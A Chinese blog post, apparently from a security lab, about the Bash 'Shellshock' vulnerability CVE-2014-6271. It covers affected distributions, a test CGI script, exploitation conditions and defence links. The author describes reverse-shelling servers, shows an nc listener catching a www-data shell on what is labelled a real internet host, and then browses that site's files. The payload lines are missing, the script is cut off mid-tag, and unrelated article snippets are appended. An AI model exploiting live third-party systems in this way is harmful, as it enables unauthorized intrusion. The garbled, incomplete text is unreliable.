cve-2014-6271
来源：Mickey@360网络攻防实验室
Stephane Schazelas最近发现BASH的一个BUG,问题在于BASH在处理环境变量的时候，这个漏洞影响bash版本1.14 - 4.3，
受影响的发行版本包括:
Red Hat Enterprise linux (versions 4 through 7) and the Fedora distribution
centos (versions 5 through 7)
ubuntu 10.04 LTS, 12.04 LTS, and 14.04 LTS
Debian
本地测试方法：
|
1 |
|
上面是我在kali上的测试结果
远程测试方法：
首先用BASH写一个CGI
root@kali:/usr/lib/cgi-bin# cat bug.sh
#!/bin/bash
echo "content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</ht放到/usr/lib/cgi-bin里，然后用curl访问
能打印出环境变量了。说明能够正常访问了。下面我们来反弹一个SHELL
访问看结果
后续其他的测试还在进行中。
注：Android版本的bash也受影响
参考文档：
http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it/
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/
实际互联网测试例子：
root@kali:~# nc -vvlp 8080
listening on [any] 8080 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 41997
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),50001(gforge),50002(stats),50003(news),50006(tmp)
$ exit
sent 8, rcvd 161成功利用一个，这居然是perl脚本，cgi的运行都受到影响。思考：难道是因为#!这个的意思，启动。。。启动。。。^_^
sh-4.1$ head moon.cgi
head moon.cgi
#!/usr/bin/perl
#
# moon.cgi
# display a Moon image using the skycalc program
# by John Thorstensen and images generated by mp.
#
# Brian Casey
# Imagiware, Inc.我自己机器的perl cgi没有利用成功，猜想和web server有关系，哎，还是知识不够。
老外文章有提到条件：
Apache server using mod_cgi or mod_cgid are affected if CGI scripts are either written in bash, or spawn subshells. Such subshells are implicitly used by system/popen in C, by os.system/os.popen in Python, system/exec in PHP (when run in CGI mode), and open/system in Perl if a shell is used (which depends on the command string)
ForceCommand is used in sshd configs to provide limited command execution capabilities for remote users. This flaw can be used to bypass that and provide arbitrary command execution. Some Git and Subversion deployments use such restricted shells. Regular use of OpenSSH is not affected because users already have shell access.
DHCP clients invoke shell scripts to configure the system, with values taken from a potentially malicious server. This would allow arbitrary commands to be run, typically as root, on the DHCP client machine.
Various daemons and SUID/privileged programs may execute shell scripts with environment variable values set / influenced by the user, which would allow for arbitrary commands to be run.
Any other APPlication which is hooked onto a shell or runs a shell script as using bash as the interpreter. Shell scripts which do not export variables are not vulnerable to this issue, even if they process untrusted content and store it in (unexported) shell variables and open subshells.
刚刚那个moon.cgi的perl脚本里面估计调用了oepn/exec之类的fork了bash
另外出的补丁，好像也能绕过，参考这里
https://twitter.com/taviso/status/514887394294652929
利用：
|
1 |
|
老外说的SSH利用，是需要账号的，更多的是越权，参考
https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/
老外的SNORT的防护规则
http://www.volexity.com/blog/?p=19
另一个互联网实际的反弹SHELL例子：
相关阅读
网站数据分析是通过观察、调查、实验、测量等结果，通过数据的显示形式把网站各方面情况反映出来，使运营者更加了解网站的运营情况
# Author: James Kettle <[email protected]> # Copyright 2014 Context Information Security #
作为产品运营人员，我们都知道运营的最终目标是要和用户之间建立长期有价值的联系。完美的用户界面、强大的功能和明确的价值主张，对
【转】多因子策略探索（1）为什么要用聚宽以市场上知名的TB、文化等期货研究平台为代表，均采用了数据驱动的回测方式，不能按照复利回测（
利用DuplicateHandle()无驱动的另类读写内存方法，理论
突发奇想出的原创思路，在理论上经过完善应该可以做到过游戏保护无驱动读写内存 首先看一下MSDN对这个函数的定义 BOOL DuplicateH